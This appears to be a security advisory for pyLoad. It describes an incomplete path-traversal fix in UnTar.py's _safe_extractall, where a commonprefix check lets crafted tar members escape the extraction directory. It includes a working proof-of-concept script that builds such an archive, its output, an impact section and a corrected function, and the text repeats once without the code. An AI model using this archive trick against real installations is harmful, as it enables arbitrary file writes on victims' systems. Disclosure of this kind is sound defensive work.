Summary
The _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix.
Details
The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct is_within_directory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():
# fs.py:384 — CORRECT implementation
def is_within_directory(base_dir, target_dir):
real_base = os.path.realpath(base_dir)
real_target = os.path.realpath(target_dir)
return os.path.commonpath([real_base, real_target]) == real_baseHowever, the _safe_extractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():
# UnTar.py:10-22 — VULNERABLE implementation
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
def _is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonprefix([abs_directory, abs_target]) # BUG: line 14
return prefix == abs_directory
for member in tar.getmembers():
member_path = os.path.join(path, member.name)
if not _is_within_directory(path, member_path):
raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")
tar.extractall(path, members, numeric_owner=numeric_owner)os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkg_evil/payload (resolving to /downloads/pkg_evil/payload):
commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads/pkg' — equals the directory, check passescommonpath(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails
The extraction path is reached via: ExtractArchive.package_finished() (line 182) → extract_queued() → UnTar.extract() (line 76) → _safe_extractall(t, self.dest) (line 81).
PoC
Self-contained proof of concept demonstrating the bypass:
import tarfile, io, os, shutil
dest = '/tmp/test_extraction_dir'
shutil.rmtree(dest, ignore_errors=True)
shutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)
os.makedirs(dest, exist_ok=True)
# Step 1: Create malicious tar with member that escapes via prefix trick
with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:
info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')
data = b'escaped the sandbox!'
info.size = len(data)
tar.addfile(info, io.BytesIO(data))
# Step 2: Reproduce the vulnerable check from UnTar.py:11-15
def _is_within_directory(directory, target):
abs_directory = os.path.abspath(directory)
abs_target = os.path.abspath(target)
prefix = os.path.commonprefix([abs_directory, abs_target])
return prefix == abs_directory
# Step 3: Verify the check is bypassed
with tarfile.open('/tmp/evil.tar.gz') as tar:
for member in tar.getmembers():
member_path = os.path.join(dest, member.name)
bypassed = _is_within_directory(dest, member_path)
print(f'Member: {member.name}')
print(f'Resolved: {os.path.abspath(member_path)}')
print(f'Check passes (should be False): {bypassed}')
tar.extractall(dest)
# Step 4: Confirm file was written outside extraction directory
escaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'
assert os.path.exists(escaped_file), "File did not escape"
print(f'File escaped to: {escaped_file}')
print(f'Content: {open(escaped_file).read()}')Output:
Member: ../test_extraction_dir_pwned/evil.txt
Resolved: /tmp/test_extraction_dir_pwned/evil.txt
Check passes (should be False): True
File escaped to: /tmp/test_extraction_dir_pwned/evil.txt
Content: escaped the sandbox!
Impact
An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:
- Writing files outside the intended extraction directory into adjacent directories
- Overwriting other users' downloads
- Planting malicious files in predictable locations on disk
- If combined with other primitives (e.g., writing a
.bashrc, cron job, or plugin file), this could lead to code execution
The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.
Recommended Fix
Replace the broken inline _is_within_directory with the correct is_within_directory from pyload.core.utils.fs:
import os
import sys
import tarfile
from pyload.core.utils.fs import is_within_directory, safejoin
from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError
# Fix for tarfile CVE-2007-4559
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
for member in tar.getmembers():
member_path = os.path.join(path, member.name)
if not is_within_directory(path, member_path):
raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")
tar.extractall(path, members, numeric_owner=numeric_owner)This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.
References
offset Reporter
Summary
The
_safe_extractall()function insrc/pyload/plugins/extractors/UnTar.pyusesos.path.commonprefix()for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct functionos.path.commonpath()was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to_safe_extractall(), making this an incomplete fix.Details
The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct
is_within_directory()function tosrc/pyload/core/utils/fs.py:384-391usingos.path.commonpath():However, the
_safe_extractall()function inUnTar.py:10-22was left unchanged with the brokenos.path.commonprefix():os.path.commonprefix()is a string operation, not a path operation. For extraction destination/downloads/pkgand a malicious member../pkg_evil/payload(resolving to/downloads/pkg_evil/payload):commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload'])→'/downloads/pkg'— equals the directory, check passescommonpath(['/downloads/pkg', '/downloads/pkg_evil/payload'])→'/downloads'— does NOT equal the directory, check correctly failsThe extraction path is reached via:
ExtractArchive.package_finished()(line 182) →extract_queued()→UnTar.extract()(line 76) →_safe_extractall(t, self.dest)(line 81).PoC
Self-contained proof of concept demonstrating the bypass:
Output:
Impact
An attacker who hosts a malicious
.tar.gzarchive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:.bashrc, cron job, or plugin file), this could lead to code executionThe attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.
Recommended Fix
Replace the broken inline
_is_within_directorywith the correctis_within_directoryfrompyload.core.utils.fs:This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.
References